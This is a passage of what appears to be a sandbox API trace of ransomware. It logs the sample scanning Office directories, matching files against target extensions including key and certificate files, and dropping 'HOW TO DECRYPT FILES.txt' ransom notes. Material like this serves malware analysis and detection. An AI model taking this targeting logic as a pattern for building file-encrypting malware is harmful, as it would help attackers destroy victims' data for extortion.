Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.7z") returned 0 [0066.387] lstrlenA (lpString="*.7z") returned 4 [0066.387] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.tar") returned 0 [0066.388] lstrlenA (lpString="*.tar") returned 5 [0066.388] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.bz2") returned 0 [0066.388] lstrlenA (lpString="*.bz2") returned 5 [0066.388] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.gz") returned 0 [0066.388] lstrlenA (lpString="*.gz") returned 4 [0066.388] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.mkv") returned 0 [0066.388] lstrlenA (lpString="*.mkv") returned 5 [0066.388] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.eml") returned 0 [0066.388] lstrlenA (lpString="*.eml") returned 5 [0066.388] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.msg") returned 0 [0066.388] lstrlenA (lpString="*.msg") returned 5 [0066.388] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.edb") returned 0 [0066.388] lstrlenA (lpString="*.edb") returned 5 [0066.388] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.accdb") returned 0 [0066.388] lstrlenA (lpString="*.accdb") returned 7 [0066.388] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.odb") returned 0 [0066.388] lstrlenA (lpString="*.odb") returned 5 [0066.388] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.java") returned 0 [0066.388] lstrlenA (lpString="*.java") returned 6 [0066.388] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.asm") returned 0 [0066.389] lstrlenA (lpString="*.asm") returned 5 [0066.389] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.pfx") returned 0 [0066.389] lstrlenA (lpString="*.pfx") returned 5 [0066.389] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.pem") returned 0 [0066.389] lstrlenA (lpString="*.pem") returned 5 [0066.389] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.p12") returned 0 [0066.389] lstrlenA (lpString="*.p12") returned 5 [0066.389] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.gpg") returned 0 [0066.389] lstrlenA (lpString="*.gpg") returned 5 [0066.389] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.vsd") returned 0 [0066.389] lstrlenA (lpString="*.vsd") returned 5 [0066.389] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.HK.XML", cAlternateFileName="YAHOOH~1.XML")) returned 1 [0066.389] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.389] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="YAHOO.HK.XML") returned -1 [0066.389] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="YAHOO.HK.XML") returned -1 [0066.389] lstrcmpiA (lpString1="", lpString2="YAHOO.HK.XML") returned -1 [0066.389] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML") returned="YAHOO.FR.XML" [0066.389] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0066.390] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="" [0066.390] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" [0066.390] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\how to decrypt files.txt")) returned 0x20 [0066.390] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="YAHOO.HK.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML" [0066.390] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.IE.XML", cAlternateFileName="YAHOOI~1.XML")) returned 1 [0066.390] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.390] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="YAHOO.IE.XML") returned -1 [0066.390] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="YAHOO.IE.XML") returned -1 [0066.390] lstrcmpiA (lpString1="", lpString2="YAHOO.IE.XML") returned -1 [0066.390] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML") returned="YAHOO.HK.XML" [0066.390] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0066.390] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="" [0066.391] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" [0066.391] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\how to decrypt files.txt")) returned 0x20 [0066.391] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="YAHOO.IE.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML" [0066.392] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.IT.XML", cAlternateFileName="YAHOOI~2.XML")) returned 1 [0066.392] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.392] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="YAHOO.IT.XML") returned -1 [0066.392] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="YAHOO.IT.XML") returned -1 [0066.392] lstrcmpiA (lpString1="", lpString2="YAHOO.IT.XML") returned -1 [0066.392] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML") returned="YAHOO.IE.XML" [0066.392] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0066.392] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="" [0066.392] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" [0066.392] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\how to decrypt files.txt")) returned 0x20 [0066.392] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="YAHOO.IT.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML" [0066.392] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a900, ftCreationTime.dwHighDateTime=0x1c6ea7d, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a900, ftLastWriteTime.dwHighDateTime=0x1c6ea7d, nFileSizeHigh=0x0, nFileSizeLow=0x331, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.JP.XML", cAlternateFileName="YAHOOJ~1.XML")) returned 1 [0066.392] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.393] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="YAHOO.JP.XML") returned -1 [0066.393] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="YAHOO.JP.XML") returned -1 [0066.393] lstrcmpiA (lpString1="", lpString2="YAHOO.JP.XML") returned -1 [0066.393] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML") returned="YAHOO.IT.XML" [0066.393] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0066.393] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="" [0066.393] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" [0066.393] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\how to decrypt files.txt")) returned 0x20 [0066.393] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="YAHOO.JP.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML" [0066.394] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.NO.XML", cAlternateFileName="YAHOON~1.XML")) returned 1 [0066.394] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.394] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="YAHOO.NO.XML") returned -1 [0066.394] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="YAHOO.NO.XML") returned -1 [0066.394] lstrcmpiA (lpString1="", lpString2="YAHOO.NO.XML") returned -1 [0066.394] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML") returned="YAHOO.JP.XML" [0066.394] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0066.394] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="" [0066.394] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" [0066.394] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\how to decrypt files.txt")) returned 0x20 [0066.394] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="YAHOO.NO.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML" [0066.395] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.PL.XML", cAlternateFileName="YAHOOP~1.XML")) returned 1 [0066.395] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.395] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="YAHOO.PL.XML") returned -1 [0066.395] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="YAHOO.PL.XML") returned -1 [0066.395] lstrcmpiA (lpString1="", lpString2="YAHOO.PL.XML") returned -1 [0066.395] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML") returned="YAHOO.NO.XML" [0066.395] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0066.395] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="" [0066.395] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" [0066.395] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\how to decrypt files.txt")) returned 0x20 [0066.395] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="YAHOO.PL.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML" [0066.396] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.SE.XML", cAlternateFileName="YAHOOS~1.XML")) returned 1 [0066.396] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.396] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="YAHOO.SE.XML") returned -1 [0066.396] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="YAHOO.SE.XML") returned -1 [0066.396] lstrcmpiA (lpString1="", lpString2="YAHOO.SE.XML") returned -1 [0066.396] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML") returned="YAHOO.PL.XML" [0066.396] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0066.396] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="" [0066.396] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" [0066.396] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\how to decrypt files.txt")) returned 0x20 [0066.396] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="YAHOO.SE.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML" [0066.397] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.SE.XML", cAlternateFileName="YAHOOS~1.XML")) returned 0 [0066.397] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0066.397] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59a53950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x5f190, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0066.397] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.397] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OUTLPH.DLL") returned -1 [0066.397] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OUTLPH.DLL") returned -1 [0066.397] lstrcmpiA (lpString1="", lpString2="OUTLPH.DLL") returned -1 [0066.397] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\*.*") returned="*.*" [0066.397] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.397] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.397] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0066.398] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0066.398] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="OUTLPH.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OUTLPH.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\OUTLPH.DLL" [0066.398] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe558, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLRPC.DLL", cAlternateFileName="")) returned 1 [0066.398] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.398] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OUTLRPC.DLL") returned -1 [0066.398] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OUTLRPC.DLL") returned -1 [0066.398] lstrcmpiA (lpString1="", lpString2="OUTLRPC.DLL") returned -1 [0066.398] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OUTLPH.DLL") returned="OUTLPH.DLL" [0066.398] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.398] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.398] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") 